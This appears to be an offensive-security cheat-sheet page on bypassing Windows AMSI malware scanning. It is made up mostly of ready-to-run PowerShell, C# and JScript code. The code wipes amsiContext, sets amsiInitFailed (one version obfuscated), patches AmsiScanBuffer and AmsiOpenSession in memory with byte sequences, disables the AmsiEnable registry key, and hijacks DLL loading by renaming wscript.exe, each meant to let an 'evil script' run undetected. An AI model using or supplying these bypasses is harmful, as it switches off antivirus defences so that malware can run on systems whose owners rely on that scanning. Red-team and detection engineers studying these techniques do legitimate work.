AMSI Bypass

Antimalware Scan Interface

AMSI Test Sample:

PS > Invoke-Expression "AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386"

Break the Logic

Wipe amsiContext

amsiContext.ps1
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
$g = $f.GetValue($null)
[IntPtr]$ptr = $g
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

Set amsiInitFailed

By Matt Graeber in 2016:

amsiInitFailed.ps1
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like "*Failed") {$f = $e}}
$f.SetValue($null,$true)

Obfuscated:

amsiInitFailed-obf.ps1
$A="5492868772801748688168747280728187173688878280688776";$B="8281173680867656877679866880867644817687416876797271";function C($n, $m){[string]($n..$m|%{[char][int](29+($A+$B).substring(($_*2),2))})-replace " "};$k=C 0 37;$r=C 38 51;$a=[Ref].Assembly.GetType($k);$a.GetField($r,'NonPublic,Static').SetValue($null,$true)

Memory Patching

Patch AmsiScanBuffer

Re-implementing the method with reflective PowerShell:

amsiScanBuffer.ps1
function lookupFunc {
    Param ($moduleName, $funcName)

    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | ? { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp = @()
    $assem.GetMethods() | % {If($_.Name -eq 'GetProcAddress') {$tmp += $_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $funcName))
}

function getDelegateType {
    Param (
        [Parameter(Position=0, Mandatory=$True)][Type[]] $argsTypes,
        [Parameter(Position=1)][Type] $retType = [Void]
    )

    $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $argsTypes).SetImplementationFlags('Runtime, Managed')
    $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argsTypes).SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}

[IntPtr]$asb = lookupFunc amsi.dll ("Ams"+"iS"+"can"+"Buf"+"fer")
$oldProtect = 0
$vp = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($asb, [uint32]6, 0x40, [ref]$oldProtect)
$patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $asb, 6)
$vp.Invoke($asb, [uint32]6, 0x20, [ref]$oldProtect)

AmsiScanBuffer Usage Example

beforeAndAfterPatch.ps1
using System;
using System.Runtime.InteropServices;
using System.Text;

namespace ConsoleApp
{
    class Program
    {
        static IntPtr _amsiContext;
        static IntPtr _amsiSession;

        static void Main(string[] args)
        {
            uint result;

            // Initialize the AMSI API.
            result = AmsiInitialize("Demo App", out _amsiContext);

            // Opens a session within which multiple scan requests can be correlated.
            result = AmsiOpenSession(_amsiContext, out _amsiSession);

            // Test sample
            //var sample = Encoding.UTF8.GetBytes(@"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*");
            var sample = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");

            // Send sample to AMSI
            var amsiResult = ScanBuffer(sample);

            Console.WriteLine($"Before patch: {amsiResult}");

            var modules = Process.GetCurrentProcess().Modules;
            var hAmsi = IntPtr.Zero;

            foreach (ProcessModule module in modules)
            {
                if (module.ModuleName.Equals("amsi.dll"))
                {
                    hAmsi = module.BaseAddress;
                    break;
                }
            }

            var asb = GetProcAddress(hAmsi, "AmsiScanBuffer");

            var patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };

            // Make region writable (0x40 == PAGE_EXECUTE_READWRITE)
            VirtualProtect(asb, (UIntPtr)patch.Length, 0x40, out uint oldProtect);

            // Copy patch into asb region
            Marshal.Copy(patch, 0, asb, patch.Length);

            // Restore asb memory permissions
            VirtualProtect(asb, (UIntPtr)patch.Length, oldProtect, out uint _);

            // Scan same sample again
            amsiResult = ScanBuffer(sample); Console.WriteLine($"After patch: {amsiResult}");
        }

        static string ScanBuffer(byte[] sample)
        {
            var result = AmsiScanBuffer( _amsiContext, sample, (uint)sample.Length, "Demo Sample", ref _amsiSession, out uint amsiResult);
            return amsiResult >= 32768 ? "AMSI_RESULT_DETECTED" : "AMSI_RESULT_NOT_DETECTED";
        }

        [DllImport("kernel32.dll")]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32.dll")]
        static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("amsi.dll")]
        static extern uint AmsiInitialize(string appName, out IntPtr amsiContext);

        [DllImport("amsi.dll")]
        static extern uint AmsiOpenSession(IntPtr amsiContext, out IntPtr amsiSession);

        // The antimalware provider may return a result between 1 and 32767, inclusive, as an estimated risk level.
        // The larger the result, the riskier it is to continue with the content.
        // Any return result equal to or larger than 32768 is considered malware, and the content should be blocked.
        [DllImport("amsi.dll")]
        static extern uint AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, string contentName, ref IntPtr amsiSession, out uint scanResult);
    }
}

Patch AmsiOpenSession

amsiOpenSession.ps1
function lookupFunc {
    Param ($moduleName, $funcName)

    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | ? { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp = @()
    $assem.GetMethods() | % {If($_.Name -eq "GetProcAddress") {$tmp += $_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $funcName))
}

function getDelegateType {
    Param (
        [Parameter(Position=0, Mandatory=$True)][Type[]] $argsTypes,
        [Parameter(Position=1)][Type] $retType = [Void]
    )

    $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $argsTypes).SetImplementationFlags('Runtime, Managed')
    $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argsTypes).SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}

[IntPtr]$funcAddr = lookupFunc amsi.dll AmsiOpenSession
$oldProtection = 0
$vp = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32],[UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtection)
$buf = [Byte[]] (0x48, 0x31, 0xC0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)
$vp.Invoke($funcAddr, 3, 0x20, [ref]$oldProtection)

Patch AMSI Provider

List registered AMSI Providers (same as AMSIProviders):

$providers = Get-ChildItem "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" -Name
foreach ($p in $providers) { Get-ItemProperty "HKLM:\SOFTWARE\Classes\CLSID\$p\InprocServer32" }

Registry & Filesystem

AmsiEnable Registry Key

Set the HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable registry key to 0 and run the evil script:

regkey.js
var sh = new ActiveXObject('WScript.Shell');
var key = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable";
try {
	var AmsiEnable = sh.RegRead(key);
	if (AmsiEnable != 0) {
		throw new Error(1, '');
	}
} catch(e) {
	sh.RegWrite(key, 0, "REG_DWORD");
	sh.Run("cscript -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58}" + WScript.ScriptFullName, 0, 1);
	sh.RegWrite(key, 1, "REG_DWORD");
	WScript.Quit(1);
}

<EVIL_SCRIPT_CONTENTS>
...

Rename AMSI.dll

Copy C:\Windows\System32\wscript.exe binary to a different location and rename in to AMSI.dll in order to prevent loading the real AMSI.dll:

rename.js
var filesys= new ActiveXObject("Scripting.FileSystemObject");
var sh = new ActiveXObject('WScript.Shell');
try {
	if(filesys.FileExists("C:\\Windows\\Tasks\\AMSI.dll") == 0) {
		throw new Error(1, '');
	}
} catch(e) {
	filesys.CopyFile("C:\\Windows\\System32\\wscript.exe", "C:\\Windows\\Tasks\\AMSI.dll");
	sh.Exec("C:\\Windows\\Tasks\\AMSI.dll -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58}"+WScript.ScriptFullName);
	WScript.Quit(1);
}
<EVIL_SCRIPT_CONTENTS>
...

Hardware Breakpoints (Fileless Bypass)

Last updated